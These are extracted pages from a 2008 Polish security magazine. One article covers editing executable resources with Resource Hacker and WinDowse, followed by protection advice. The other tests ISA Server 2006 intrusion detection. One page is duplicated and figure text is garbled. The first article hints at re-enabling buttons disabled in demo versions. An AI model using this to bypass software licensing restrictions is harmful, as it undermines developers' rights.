• niestandardowe kursory myszy,
• dłuższe łańcuchy znaków,
• okna dialogowe,
• menu,
• informacje o skrótach klawiaturowych,
• szczegółowe informacje o pliku (nazwa fir-
my, nazwa programu, wersja programu, in-
formacje o licencji, informacja o wersji języ-
kowej programu).
Edycja zasobów to bardzo ciekawe zagad-
nienie. Po pierwsze: można zmienić wygląd
ulubionego programu (np. podmienić grafi-
ki, pozmieniać wygląd formularzy i menu,
a także zmienić skróty klawiaturowe). Dru-
gie interesujące zastosowanie to możliwość
wyciągnięcia np. ikon lub grafik z dowolnego
pliku wykonywalnego.
Niestety, nie wszystkie pliki wykonywalne posia-
dają sporo zasobów. Przykładowo, kiedy napi-
szemy program w języku Visual Basic, zobaczy-
my, że formularze, menu i bitmapy nie są zapisy-
wane jako zasoby – możliwości edycyjne takich
plików wykonywalnych są więc mniejsze.
Uwaga! Przed edycją jakiegokolwiek pliku
wykonaj jego kopię zapasową!
Zanim zaczniesz edytować pliki, musisz się
upewnić, czy nie są skompresowane, gdyż
w skompresowanych plikach EXE zazwyczaj
Edycja zasobów w plikach
wykonywalnych
Damian Daszkiewicz
stopień trudności
W artykule Luki w plikach wykonywalnych (hakin9 11/2007)
opisano, w jaki sposób modyfikować pliki wykonywalne
za pomocą edytora plików binarnych. Jednak taki edytor nie
pozwala na edytowanie bitmap, kursorów ani okien dialogowych.
Z pomocą przychodzą programy pozwalające edytować zasoby
w plikach wykonywalnych.
Z artykułu dowiesz się
• jak przeglądać, eksportować i edytować zasoby
w plikach wykonywalnych,
• jak zmieniać właściwości kontrolek w urucho-
mionych programach,
• jak zabezpieczyć się przed grzebaniem w pli-
kach wykonywalnych.
Co powinieneś wiedzieć
• znać podstawy dowolnego języka programowa-
nia,
• znać podstawy WinAPI.
Edycja zasobów w plikach wykonywalnych
hakin9 Nr 2/2008
www.hakin9.org
39
zasoby są spakowane. Jeśli plik jest
skompresowany, to należy go rozpa-
kować. Najpopularniejszym progra-
mem do kompresji plików wykony-
walnych jest darmowy program UPX.
Aby rozpakować dany plik, skompre-
sowany programem UPX, należy
z linii komend wpisać polecenie
upx
<nazwa pliku> -d
Przegląd zasobów za
pomocą Resource Hacker
Aplikacja Resource Hacker to najpo-
pularniejszy program do przegląda-
nia i edytowania zasobów znajdują-
cych się w plikach wykonywalnych.
Resource Hacker obsługuje 32-bito-
we pliki wykonywalne przeznaczone
dla systemu operacyjnego Windows
95 (i nowszych). Niestety, Resour-
ce Hacker nie obsługuje 16-bitowych
plików wykonywalnych (czyli dla DO-
Sa i Windows 3.x). Jeśli chcesz edy-
tować zasoby w 16-bitowych plikach
wykonywalnych przeznaczonych dla
Windows 3.x, musisz zaopatrzyć się
w program eXeScope, który jest ko-
mercyjny i posiada mniejsze możli-
wości niż Resource Hacker.
Edycja ikon, kursorów i
bitmap
Otwórz w programie Resource Hac-
ker dowolny plik wykonywalny. Wy-
gląd aplikacji przedstawia Rysunek 1.
Po lewej stronie znajduje się drze-
wo, w którym są wypisane wszystkie
zasoby znajdujące się w pliku wyko-
nywalnym, podzielone na kategorie
według typów. Przykładowo rozwi-
jając gałąź Icon możesz przeglądać
wszystkie ikony. Jeśli dana ikona się
Tobie spodoba, to możesz ją wyeks-
portować do pliku w formacie ICO
– w tym celu należy wybrać następu-
jącą pozycję z menu: Action->Save
[Icon : 1 : 1045] (w zależności od te-
go, jaki plik binarny otworzyłeś i któ-
rą ikonę wybrałeś, liczby mogą być
inne). W podobny sposób można za-
pisać bitmapy i kursory.
Jeśli któraś ikona nie podoba się
Tobie, możesz ją zmienić. W tym ce-
lu należy z menu wybrać następują-
cą pozycję: Action->Replace Icon,
a następnie wskazać na dysku do-
wolny plik ICO.
Edycja menu
Listing 1. przedstawia przykładowy
kod, w którym jest zapisane menu.
Z pozoru edycja menu nie wydaje się
zbyt interesująca, jest w niej jednak
pewien niuans. Otóż w prawie każ-
dej pozycji występuje znak &. Znak
ten oznacza, że następna litera w me-
nu jest podkreślona. Jeśli w danym
programie w menu Edycja jest pod-
kreślona litera E, to można owo me-
nu rozwinąć naciskając kombinację
klawiszy ALT+E. Jest to bardzo przy-
datna funkcjonalność, gdyż bez po-
trzeby korzystania z myszy można wy-
brać z menu dowolną pozycję. Załóż-
my, że posiadasz program, w którym
kombinacja ALT+E rozwija inne me-
nu niż Edycja. Można to zmienić ko-
rzystając z programu Resource Hac-
ker. W tym celu należy w odpowied-
niej pozycji menu przed żądaną literą
wstawić znak &. Po dokonaniu zmian
należy w programie Resource Hac-
ker kliknąć przycisk Compile Script.
Dopiero ta czynność spowoduje za-
pisanie naszych modyfikacji. W ten
sposób można w dowolnej aplikacji
ustawić skróty klawiaturowe według
własnych potrzeb.
Edycja okien dialogowych
Program Resource Hacker pozwa-
la na edytowanie okien dialogowych.
Po rozwinięciu gałęzi Dialog można
przeglądać i edytować okna dialo-
gowe. Po wybraniu dowolnego okna
dialogowego oprócz kodu, jaki jest
potrzebny do jego stworzenia, pojawi
się również wygląd owego okna dia-
logowego (przykład takiego podglą-
du przedstawia Rysunek 2). Można w
dowolny sposób przemieszczać kon-
trolki, zmieniać ich rozmiar (można
Listing 1.
Przykładowe menu zapisane w pliku wykonywalnym
106
MENU
LANGUAGE
LANG_POLISH
,
0x1
{
POPUP
"&Edycja"
{
MENUITEM
"&Kopiuj
\t
Ctrl+C"
,
300
MENUITEM
"Wkl&ej
\t
Ctrl+V"
,
301
}
POPUP
"&Widok"
{
MENUITEM
"&Standardowy"
,
305
MENUITEM
"&Naukowy"
,
304
MENUITEM
SEPARATOR
MENUITEM
"&Grupowanie cyfr"
,
303
}
POPUP
"Pomo&c"
{
MENUITEM
"&Tematy Pomocy "
,
317
MENUITEM
SEPARATOR
MENUITEM
"Kalkulator - i&nformacje"
,
302
}
}
Rysunek 1.
Wygląd programu
Resource Hacker
Rysunek 2.
Przykładowe okno
dialogowe w Resource Hacker
Edycja zasobów w plikach wykonywalnych
hakin9 Nr 2/2008
www.hakin9.org
41
na zakładce Digger możemy obej-
rzeć wszystkie aktualnie uruchomio-
ne okna dialogowe. Zakładka Tree
pokazuje zaś informacje o wszyst-
kich oknach dialogowych w formie
drzewa – również o tym, z jakich kon-
trolek składa się konkretne okienko.
Jak się przed tym
bronić?
Pisząc program musisz przewidzieć,
że użytkownicy mogą edytować za-
soby w pliku wykonywalnym. Jeśli
chcesz się przed tym obronić, pole-
cam skompresowanie pliku dowolnym
programem (najlepiej jakimś mniej po-
pularnym, wtedy utrudnione będzie
znalezienie programu do dekompre-
sji). Ewentualnie można skorzystać
z płatnego programu AsProtect.
Jeśli napisałeś program, który
w wersji demonstracyjnej różni się od
pełnej wersji tym, że przycisk do za-
pisania projektu stworzonego przez
użytkownika jest nieaktywny, musisz
przemyśleć jakiś mechanizm ochrony
przed programem WinDowse. Przy-
kładowo sprawdzenie faktu rejestra-
cji programu podczas uruchamiania
i późniejsza deaktywacja przycisku
Zapisz projekt jeśli aplikacja nie jest
zarejestrowana, nie będzie w tym
wypadku wystarczające. Dodatkowa
kontrola powinna mieć miejsce w mo-
mencie, gdy użytkownik kliknie przy-
cisk Zapisz projekt – kiedy program
jest w wersji demonstracyjnej, powi-
nien pojawić się komunikat, że dana
opcja jest dostępna tylko w wersji za-
rejestrowanej.
Podsumowanie
Edytując pliki wykonywalne za pomo-
cą programu Resource Hacker, moż-
na się dowiedzieć wielu interesujących
rzeczy związanych z ich budową. Na-
byte umiejętności mogą się przydać
podczas pisania własnych programów
np. w MASMie lub w Visual C++. Nato-
miast program WinDowse pozwoli do-
wiedzieć się, w jaki sposób okna dia-
logowe i kontrolki są traktowane przez
system operacyjny. l
O autorze
Damian Daszkiewicz jest samoukiem
od wielu lat interesującym się informa-
tyką i e-biznesem. Obecnie studiuje
na Politechnice Rzeszowskiej na kie-
runku Informatyka. W roku 2003 wy-
dawnictwo Helion wydało jego książ-
kę: Vademecum hakera. Edycja pli-
ków binarnych. Kontakt z autorem:
damian@daszkiewicz.net.
Rysunek 4.
Program WinDowse
R
E
K
L
A
M
A
Edycja zasobów w plikach wykonywalnych
hakin9 Nr 2/2008
www.hakin9.org
41
na zakładce Digger możemy obej-
rzeć wszystkie aktualnie uruchomio-
ne okna dialogowe. Zakładka Tree
pokazuje zaś informacje o wszyst-
kich oknach dialogowych w formie
drzewa – również o tym, z jakich kon-
trolek składa się konkretne okienko.
Jak się przed tym
bronić?
Pisząc program musisz przewidzieć,
że użytkownicy mogą edytować za-
soby w pliku wykonywalnym. Jeśli
chcesz się przed tym obronić, pole-
cam skompresowanie pliku dowolnym
programem (najlepiej jakimś mniej po-
pularnym, wtedy utrudnione będzie
znalezienie programu do dekompre-
sji). Ewentualnie można skorzystać
z płatnego programu AsProtect.
Jeśli napisałeś program, który
w wersji demonstracyjnej różni się od
pełnej wersji tym, że przycisk do za-
pisania projektu stworzonego przez
użytkownika jest nieaktywny, musisz
przemyśleć jakiś mechanizm ochrony
przed programem WinDowse. Przy-
kładowo sprawdzenie faktu rejestra-
cji programu podczas uruchamiania
i późniejsza deaktywacja przycisku
Zapisz projekt jeśli aplikacja nie jest
zarejestrowana, nie będzie w tym
wypadku wystarczające. Dodatkowa
kontrola powinna mieć miejsce w mo-
mencie, gdy użytkownik kliknie przy-
cisk Zapisz projekt – kiedy program
jest w wersji demonstracyjnej, powi-
nien pojawić się komunikat, że dana
opcja jest dostępna tylko w wersji za-
rejestrowanej.
Podsumowanie
Edytując pliki wykonywalne za pomo-
cą programu Resource Hacker, moż-
na się dowiedzieć wielu interesujących
rzeczy związanych z ich budową. Na-
byte umiejętności mogą się przydać
podczas pisania własnych programów
np. w MASMie lub w Visual C++. Nato-
miast program WinDowse pozwoli do-
wiedzieć się, w jaki sposób okna dia-
logowe i kontrolki są traktowane przez
system operacyjny. l
O autorze
Damian Daszkiewicz jest samoukiem
od wielu lat interesującym się informa-
tyką i e-biznesem. Obecnie studiuje
na Politechnice Rzeszowskiej na kie-
runku Informatyka. W roku 2003 wy-
dawnictwo Helion wydało jego książ-
kę: Vademecum hakera. Edycja pli-
ków binarnych. Kontakt z autorem:
damian@daszkiewicz.net.
Rysunek 4.
Program WinDowse
R
E
K
L
A
M
A
www.hakin9.org
hakin9 Nr 2/2008
42
Obrona
S
ystemy wykrywania włamań (ang. In-
trusion Detection Systems) wspoma-
gają monitorowanie naruszeń bezpie-
czeństwa. Zwykle stosuje się je wraz z zapora-
mi sieciowymi. Ich działanie opiera się w głów-
nej mierze na wykrywaniu nieprawidłowości
zarówno w sieci, jak i na pojedynczych kom-
puterach.
System IDS często zlokalizowany jest w
miejscu, gdzie generowany jest największy
ruch sieciowy lub też na komputerze, któ-
ry przechowuje ważne dane. Celem syste-
mów IDS jest identyfikacja działań zagra-
żających bezpieczeństwu sieci, a co za tym
idzie – systemów i przetwarzanych przez nie
danych. Za zdarzenia, które powinien wykryć
IDS, uważa się zarówno przygotowania do
włamania (np. skanowanie portów, weryfika-
cja istnienia krytycznych aplikacji), jak i pró-
by ataku, także nieudane. Wykrywanie naru-
szeń realizowane jest przez tzw. sondy (sen-
sory), które zbierają informacje o stanie sieci
i poszczególnych komputerach. Sondy to nic
innego, jak dedykowane rozwiązania sprzę-
towe lub programowe, monitorujące sieć
(ang. Network–based Intrusion Detection
System) lub komputer (ang. Host–based In-
trusion Detection System). Obecne technolo-
gie pozwalają na połączenie systemów NIDS
i HIDS w system hybrydowy, który posiada
odrębny moduł zarządzania sondami. Należy
nadmienić, że umiejscowienie w sieci syste-
Nowa generacja IDS, czyli
ISA Server 2006 w testach
Paulina Januszkiewicz
stopień trudności
Dedykowane systemy wykrywania włamań są w stanie
– w większości przypadków – rozpoznać atak w sposób
kontekstowy, czyli poprzez buforowanie pakietów, które stają się
niebezpieczne dopiero, kiedy utworzą określoną grupę. Microsoft
ISA Server 2006 ma dość ograniczony moduł wykrywania takich
zachowań, jednak niezależnie od tego posiada rozbudowany
moduł filtrowania pakietów, co w efekcie uniemożliwia atak.
Z artykułu dowiesz się
• w jaki sposób ISA Server reaguje na poszcze-
gólne zagrożenia
• w jaki sposób administrator informowany jest
o wystąpieniu zdarzeń
• czy ISA Server 2006 sprawdza się jako system
wykrywania włamań
• w jaki sposób ISA Server reaguje na anomalia
ruchu sieciowego
Co powienenieś wiedzieć
• model OSI/ISO
• przyporządkowanie protokołów komunikacyj-
nych do warstw modelu OSI/ISO
• zasady działania systemów wykrywania wła-
mań
• na czym polegają ataki wymienione w artykule
• znać różnicę pomiędzy systemem firewall
a systemem wykrywania włamań
ISA 2006 jako IDS/IPS?
hakin9 Nr 2/2008
www.hakin9.org
43
mów HIDS i NNIDS nie jest kłopo-
tliwe, gdyż znajdują się one na wy-
branych maszynach, wybór lokacji
dla NIDS jest za to ściśle związany
z budową infrastruktury sieciowej
przedsiębiorstwa i zwykle jest trud-
ny do zrealizowania, gdyż w sie-
ci zazwyczaj nie istnieją miejsca,
w których sonda miałaby dostęp do
całego ruchu sieciowego. Należy
pamiętać, że systemy IDS nie za-
wsze wykrywają ataki prawidłowo
– zdarza się, że alarm jest fałszywy
(tzw. false positives) lub nie został
po prostu wygenerowany.
Z punktu widzenia zarządzania
bezpieczeństwem, takie sytuacje są
poważnym problemem, gdyż w kon-
sekwencji, w trakcie eksploatacji za-
bezpieczeń prawdziwe ataki mogą
zostać po prostu przez administra-
torów niezauważone. W wielu przy-
padkach w celu odróżnienia ataku
od prawidłowego zachowania należy
skorzystać z alternatywnego rozwią-
zania o podobnym działaniu.
W dzisiejszych czasach syste-
my wykrywania włamań rozwijają
się bardzo dynamicznie. Producen-
ci systemów prześcigają się w two-
rzeniu coraz to nowocześniejszych
funkcji mających poprawić bezpie-
czeństwo sieci i polepszyć monito-
rowanie jego naruszeń. Niektórzy z
nich dodają do systemów IDS me-
chanizmy dynamicznej rekonfigu-
racji zapór ogniowych, tworząc za-
awansowane systemy zapobiegania
włamaniom, jakim jest na przykład
ISA Server. Testy przeprowadzone
w tym artykule miały wykazać, czy
ISA Server dobrze wykrywa ataki,
a nie pokazywać, w jaki sposób na
nie reaguje.
ISA 2006 – firewall
warstwy aplikacji
Microsoft Internet Security and Ac-
celeration (ISA) Server 2006 jest za-
awansowanym rozwiązaniem z dzie-
dziny bezpieczeństwa, integrują-
cym w sobie wiele modułów: zaporę
ogniową, moduł obsługujący wirtual-
ne sieci prywatne (VPN), buforowa-
nie treści webowych, system wykry-
wania włamań (IDS). Do podstawo-
wych cech ISA należą: zapewnianie
zaawansowanej ochrony, łatwość
użycia oraz możliwość zapewnienia
szybkiego i bezpiecznego dostępu
do Internetu. Zaawansowana ochro-
na obejmuje zapobieganie atakom
nowej generacji poprzez konteksto-
Rysunek 1.
ISA Server 2006 jako zapora ogniowa warstwy aplikacji
���������
���������
�
���������
��������
���������
����������
�����������
�����������
����������
���������������
���������������
��������������
�������������
��������������
�������������
�������������
�
�
�
�
�
�
�
�
�
����
���������
Rysunek 2.
Przeglądanie alarmów na tablicy rozdzielczej
Dobre systemy IDS rozpoznają ataki wykorzystując
trzy podstawowe techniki
Sygnatury – stosowane są do porównywania zaistniałych zdarzeń z predefinio-
wanym wzorcem. Wzorce korzystają z tzw. wyrażeń regularnych (ang. regular
expressions), pakiety sprawdzane są pod kątem wystąpienia określonego ciągu
znaków. Istotną kwestią jest aktualizacja sygnatur, często bowiem powstają no-
we ataki, które mogłyby nie zostać przez IDS wykryte; wzorce można także de-
finiować samemu.
Badanie częstości wystąpienia określonych zdarzeń – dotyczy głównie ataków ty-
pu DoS (ang. Denial of Service), gdzie przekraczane są limity ilości wystąpień zdarze-
nia w określonej jednostce czasu. IDS powinien mieć także możliwość wykrycia nie-
udanych prób uwierzytelniania się, powinien jednak uwzględniać pewien próg toleran-
cji, w obrębie którego wystąpienie kilku nieudanych prób nie będzie uważane za za-
grożenie.
Badanie anomalii statystycznych – wyznaczane są limity dla parametrów siecio-
wych charakterystycznych dla danej sieci. Przykładem może być odstępstwo rozmia-
rów pakietów IP od średnich rozmiarów zaobserwowanych w sieci lub liczba nowo na-
wiązanych połączeń w określonej jednostce czasu. Statystyki prowadzi się nie tylko
ze względu na bezpieczeństwo, ale także po to, aby zapewnić dobrą jakość komunika-
cji sieciowej. Systemy IDS zwykle uczą się profilu danej sieci. Ważne jest, aby system
nauczył się danych statystycznych wynikających z określonej pory dnia, np. wzmożo-
ny ruch sieciowy zaraz po godzinie rozpoczęcia pracy nie może być traktowany jako
zagrożenie. Stan bieżący ruchu porównywany jest z powstałym w systemie IDS pro-
filem sieci. Jeśli wystąpią znaczne odstępstwa od zapamiętanych statystyk, to gene-
rowany jest alarm.
hakin9 Nr 2/2008
www.hakin9.org
Obrona
44
we filtrowanie pakietów z pamięcią
stanu (ang. stateful packet filtering)
oraz mechanizm circuit filtering.
Stanowe filtrowanie pakietów
wspomaga podejmowanie decy-
zji, które z nich mogą zostać prze-
puszczone przez zabezpieczony
obwód sieciowy oraz usługi Proxy
(warstwa 7). Porty, gdy nie są uży-
wane, zostają zamknięte, otwiera
się je wtedy, gdy zachodzi taka po-
trzeba. Ochrona warstwy połączeń
(ang. circuit-layer security) oraz fil-
trowanie w tej warstwie pozwalają
na tworzenie niewidocznych dla apli-
kacji bram do sieci, umożliwiając do-
stęp z różnych platform, np. RealAu-
dio czy Windows Media. Filtrowanie
to współpracuje z filtrowaniem dy-
namicznym. Oprócz tego kontrolo-
wany jest ruch specyficzny dla kon-
kretnych aplikacji – do tego celu rów-
nież wykorzystywane są filtry: VPN,
HTTP, DNS, POP3, RPC oraz inne,
dowolnie modyfikowalne, które wa-
runkują to, czy ISA przepuści wybra-
ny pakiet, czy nie.
W ISA Server 2006 większość
czynności administracyjnych wy-
konywana jest przy wykorzysta-
niu szablonów sieci, zautomaty-
zowanych kreatorów, wizualnego
edytora reguł. Istnieje także moż-
liwość wyeksportowania konfigu-
racji do formatu XML. Bardzo do-
brym rozwiązaniem jest możliwość
połączenia restrykcji narzucanych
przez ISA Server 2006 z ADAM
(Active Directory Access Manage-
ment). Monitorowanie odbywa się
w czasie rzeczywistym – umożli-
wia to kontrolowanie stanu sieci na
bieżąco. Administrator ISA Server
2006 może także skonfigurować
obsługę trybu tunelowania zgodnie
z IPSec dla połączeń wirtualnych
sieci prywatnych pomiędzy odległy-
mi od siebie ośrodkami.
ISA Server 2006, jako komplek-
sowe rozwiązanie z dziedziny bez-
pieczeństwa, został wyposażony
w następujące funkcje:
• ochrona sieci przy wykorzystaniu
zapory działającej w wielu war-
stwach, przezroczystość zapory
oraz kontrola dostępu na podsta-
wie reguł,
• filtrowanie i kontrola z pamię-
cią stanu (stateful inspection)
oraz zaawansowane filtrowanie
w warstwie aplikacji,
• wykrywanie włamań oraz two-
rzenie związanych z tym dzienni-
ków, raportowanie, alarmowanie,
• możliwość bezpiecznego publi-
kowania serwerów na zewnętrz-
nych interfejsach,
• wbudowany moduł do obsłu-
gi wirtualnych sieci prywatnych
(VPN),
• buforowanie treści webowych
oraz możliwość utworzenia har-
monogramu dla buforowania,
• integracja z usługą Active Direc-
tory,
• zdalne zarządzanie.
Dostęp do tych wszystkich funk-
cji uzyskuje się przy wykorzysta-
niu konsoli zarządzającej (ang. ISA
Server Management console). ISA
Server jest oprogramowaniem, któ-
re spełnia wymagania warstwy apli-
kacji modelu OSI/ISO. Produkt ten
ma nie tylko możliwość określania,
czy pakiety przychodzące z sieci
pochodzą od źródła, z którego ruch
został dopuszczony do transmisji
oraz czy można je przepuścić, ale
także jest w stanie analizować ich
zawartość, aby sprawdzić, czy nie
zawierają ukrytych złośliwych infor-
macji. Na Rysunku 1. została przed-
stawiona architektura rozwiązania
ISA, jako zapory warstwy 7.
Rozwiązanie ISA Server może
także działać jako serwer Proxy po-
prawiając użytkownikom jakość do-
stępu do Internetu. Poprzez skon-
figurowanie reguł zapory ogniowej
można zezwalać (lub zabraniać) na
określony ruch w sieci, np. zabronić
Rysunek 3.
Konfiguracja
wykrywania ataku Ping of Death
Rysunek 4.
Przykład raportu zawierającego wszystkie dostępne informacje
ISA 2006 jako IDS/IPS?
hakin9 Nr 2/2008
www.hakin9.org
45
poszczególnym użytkownikom lub
komputerom dostępu do określonej
zawartości sieci Web. W wersji En-
terprise ISA Server można definio-
wać reguły dotyczące innych serwe-
rów ISA, dzięki czemu powstaje śro-
dowisko sieciowe, w którym serwe-
ry ISA na podstawie wbudowanych
algorytmów obsługują przeciążenia
ruchu. Będąc zaporą, ISA znajduje
się na styku sieci wewnętrznej i Inter-
netu. Zapora chroni sieć wewnętrzną
przed atakami z zewnątrz, ale mo-
że także chronić ruch wewnątrz sie-
ci. Funkcje serwera, takie jak ochro-
na publikowania i filtrowanie pa-
kietów, obwodów i warstwy aplika-
cji są tematem na odrębny artykuł
i nie zostaną omówione tym razem.
Funkcja wykrywania intruzów pole-
ga na rejestrowaniu następujących
ataków: skanowanie portów (ogólne
i wyliczane), połowiczny atak skano-
wania IP, ataki SYN/LAND, Ping of
Death, UDP bombing oraz ataki w
systemie Out of Band. Panel admi-
nistracyjny umożliwia przeglądanie
alarmów wywołanych tymi atakami.
Oprócz tego wykrywane są ataki na
DNS oraz POP3.
Środowisko pracy
ISA Server 2006 posiada trzy inter-
fejsy: Internal, External i DMZ – taką
konfigurację nazywa się trójobwo-
dową zaporą graniczną (ang. 3-leg
perimeter). Rozwiązanie ISA umoż-
liwia utworzenie początkowych
reguł poprzez zaznaczenie schema-
tu sieci, w jakiej reguły będą two-
rzone. Internal Network to sieć we-
wnętrzna, External Network – ze-
wnętrzna (czyli Internet), wreszcie
Perimeter Network to strefa zdemili-
taryzowana, czyli DMZ. Z kolei VPN
Clients Network to sieć klientów
wirtualnych sieci prywatnych. Sieć
wewnętrzna jest siecią, której do-
myślnie ISA ufa. Oczywiście jest
to zasada ograniczonego zaufania
i aktywne są tylko te reguły, które
do funkcjonowania danej sieci są
potrzebne. Przykładem może być
protokół LDAP, który domyślnie jest
dozwolony. Serwer dc.iscg.local jest
kontrolerem domeny oraz serwerem
DNS, ISA jest ustawiona jako prze-
kaźnik DNS (ang. DNS forwarder)
i przekazuje zapytania DNS do dal-
szych segmentów sieci. Na kon-
trolerze domeny działa także SQL
Server 2005, do którego odwołu-
je się serwer WWW (Uwaga! Nie
jest to dobra praktyka administracji
bezpieczeństwem!). Uwierzytelnia-
nie może być zarówno zintegrowa-
ne, jak i wbudowane SQL – z punk-
tu widzenia tego artykułu nie jest to
istotne. Sieć wewnętrzna w rozwią-
zaniu ISA nazywana jest Secure-
NAT – dlatego, że w sieciach, które
mają do dyspozycji tylko jeden ze-
wnętrzny numer IP, ISA działa jako
NAT. Dla sieci SecureNAT dostoso-
wane są filtry w warstwie aplikacji
posiadające funkcje np. zarządza-
nia połączeniami czy obsługę pro-
tokołów – jak wymieniony wcze-
śniej LDAP. Wszystkie komputery
w sieci lokalnej mają wtedy ustawio-
ny serwer ISA jako bramę. W przy-
padku routera w sieci wewnętrznej
sytuacja wygląda tak samo – po pro-
stu jest on skonfigurowany tak, aby
przepuszczać pakiety z sieci we-
wnętrznej na wewnętrzny interfejs
ISA Server. Oprócz klientów trans-
latora SecureNAT ISA Server 2006
obsługuje pozostałe dwa typy klien-
tów: klientów zapory i klientów ser-
wera Proxy sieci Web. Klienci za-
pory, w przeciwieństwie do Secu-
reNAT, mają zainstalowane i włą-
czone oprogramowanie klienta
zapory. Żądania zasobów przesy-
łane są do ISA, gdzie przeprowa-
dzane jest sprawdzenie uprawnień,
a następnie weryfikacja danych przy
wspomnianych już filtrach aplikacji.
W przypadku Web Proxy, klienci
mają skonfigurowane przeglądar-
ki tak, aby wskazywały na ISA ja-
ko na serwer Proxy. Klienci, żądając
dostępu do zasobów internetowych,
wysyłają zapytanie do ISA, następ-
nie zasób jest udostępniany (lub nie)
z bufora. Dotyczy to oczywiście pro-
tokołów HTTP/S oraz FTP.
Ruch przychodzący z sieci ze-
wnętrznej analizowany jest dopie-
ro na końcu – w warstwie aplika-
cji. Dzieje się tak dlatego, aby wy-
kluczyć przedostanie się do wnę-
trza sieci ataków, które nie obejmują
warstwy aplikacji, np. SYN Flooding.
Na potrzeby artykułu na tym inter-
fejsie opublikowany został serwer
WWW (IIS 6.0). Aby udostępniona
witryna działała prawidłowo, wraz
z funkcjami, które oferuje, należało
w regułach zapory zezwolić na ruch
HTTP na porcie 80. Należało także
poprawnie skonfigurować serwer IIS
i dodać nowy element do puli aplika-
cji (ang. application pool) oraz usta-
wić odpowiednie uprawnienia do wi-
tryny. Z sieci zewnętrznej przeprowa-
dzona została seria ataków spraw-
dzająca działanie systemu IDS
na serwerze ISA.
W sieci DMZ, zwanej także Pe-
rimeter Network, znajdują się ser-
wery, które świadczą usługi zarów-
no dla sieci wewnętrznej, jak i ze-
wnętrznej. Znajduje się tam serwer
FTP (tylko dla klientów SecureNAT),
jak i serwer WWW, który udostęp-
nia swe usługi w Internecie – opubli-
kowany na zewnętrznym interfejsie
ISA. Komputery tej strefy należą do
domeny iscg.local.
Rysunek 5.
Alarm wywołany przez skanowanie portów o numerach 1-2048
Rysunek 6.
Alarm wywołany przez skanowanie wszystkich portów
hakin9 Nr 2/2008
www.hakin9.org
Obrona
46
Kategoria wirtualnych sieci pry-
watnych VPN istnieje niezależnie od
ilości interfejsów, jakie posiada ISA.
Wirtualne sieci prywatne umożliwia-
ją tworzenie chronionych połączeń,
które realizowane są poprzez sie-
ci niezaufane – np. Internet – po-
między klientem a siecią prywatną
lub pomiędzy oddzielnymi, odda-
lonymi od siebie lokacjami. W ce-
lu nawiązania połączenia wykorzy-
stywany jest protokół PPTP/MMTP
lub L2TP/IPSec, a do uwierzytel-
niania PAP, SPAP, CHAP, MSCHAP,
MSCHAPv2, EAP-TLS. W ustawie-
niach VPN na serwerze ISA funkcja
Enable Client VPN Access jest włą-
czona i klienci zewnętrzni mogą łą-
czyć się z siecią prywatną. Reguły
zapory również zezwalają na takie
połączenia.
Monitorowanie
Monitorowanie jest podstawową
funkcją wykorzystywaną w niniej-
szych testach. Sprawna administra-
cja ISA Server 2006 związana jest z
możliwością sprawdzania sesji użyt-
kownika, alarmów, zdarzeń czy da-
nych przesyłanych przez sieć. Bar-
dzo pomocna okazała się admini-
stracyjna tablica rozdzielcza (ang.
dashboard), w której zebrane zosta-
ły informacje o połączeniach, alar-
mach, usługach, sesjach, raportach
i stanie systemu. Funkcjonalność ta
umożliwia przeglądanie aktualnych
statystyk każdego z wymienionych
elementów. Tablicę można dostoso-
wywać do swoich potrzeb, minimali-
zując niepotrzebne części okna. Cie-
kawą opcją jest monitorowanie wy-
dajności systemu (ang. system per-
formance), gdzie wyświetlana jest
liczba pakietów przepuszczonych
i odrzuconych przez zaporę, (ang.
Allowed Packets/Sec, Dropped
Packets/Sec). Bardziej rozbudowa-
ny tryb monitorowania systemu udo-
stępniony jest w programie ISA Se-
rver Performance Monitor.
Konfigurowanie
i przeglądanie alarmów
Alarmy są aktywną metodą oce-
ny bezpieczeństwa zarówno same-
go serwera ISA, jak i całej sieci, któ-
rą ten serwer chroni. Dostarczają in-
formacji o różnego rodzaju zdarze-
niach, np. atakach, błędach konfi-
guracyjnych, niskiej przepustowo-
ści. Poniżej przedstawiony jest frag-
ment dotyczący alarmów z tablicy
rozdzielczej:
W przeprowadzanych testach
każdorazowo konfigurowane były
alarmy, zdefiniowane pod konkretny
atak. Większość alarmów jest wbu-
dowana w ISA Server 2006, istnie-
ją jednak ataki wymagające ścisłe-
go określenia ich parametrów. Brak
zdefiniowanego alarmu nie oznacza,
że atak ma szanse się powieść. Nie
zostanie jedynie rozpoznany przez
serwer, ale jego właściwości pozwo-
lą go sklasyfikować jako ruch, któ-
ry nie może zostać przepuszczony.
Konfigurując alarm należy wybrać
opcję Configure Alert Definitions z
tablicy rozdzielczej i ustawić para-
metry alarmu na zakładkach: Ge-
neral (Ogólne), Events (Zdarzenia),
Actions (Czynności). Na zakładce
Ogólne można włączyć alarm i skon-
figurować jego podstawowe parame-
try, Zdarzenia definiują np. ile razy
dane zdarzenie ma się powtórzyć,
aby alarm był wywołany. Czynno-
ści to nic innego jak powiadamianie
o zdarzeniach na pięć różnych spo-
sobów: wysłanie wiadomości e-ma-
il, uruchomienie programu, zapis do
Dziennika Zdarzeń, uruchomienie
usługi, zatrzymanie usługi.
Reguły ISA Server 2004/2006
Reguły zapory ogniowej obejmują trzy typy reguł: dostępu, publikowania sieci Web
oraz publikowania serwera i definiują, w jaki sposób (i czy w ogóle) określony ruch
ma być przesyłany. Oprócz reguł definiowalnych istnieje także tzw. ostatnia reguła
domyślna (ang. Last Default Rule), która zabrania jakiegokolwiek ruchu o dowolnej
porze. Poniżej przedstawione zostały ustawienia zapory ogniowej przy wykonywa-
niu testów penetracyjnych. Reguły podczas wykonywania testów się zmieniały, po-
wstawały nowe, część była wyłączana.
Reguły sieci definiują, czy ruch między zdefiniowanymi sieciami jest przezna-
czony do routowania, czy do translacji adresów (ang. Network Address Translation).
W przypadku, gdy zależności nie istnieją, między segmentami sieci nie ma komu-
nikacji. Reguły sieci są przetwarzane przez program ISA Server 2006 w pierwszej
kolejności. Reguły te podczas przeprowadzania testów penetracyjnych wygląda-
ły następująco.
Reguły systemu nie były zmieniane podczas wykonywania testów. Stanowią
one zbiór 30 predefiniowanych reguł, które umożliwiają korzystanie z usług potrzeb-
nych do prawidłowego funkcjonowania środowiska sieciowego. Określają, w jaki
sposób ruch ma być przesyłany z ISA Server 2006 do innych komputerów lub sieci.
ISA Server 2006 posiada swoją własną sieć nazwaną LocalHost. Przykładowo, je-
śli chce się zarządzać zdalnie serwerem ISA z wybranych komputerów za pomocą
Terminal Server, to reguła systemu zezwalająca na przepuszczanie protokołu RDP
powinna pozostać włączona.
Rysunek 7.
Program alert_
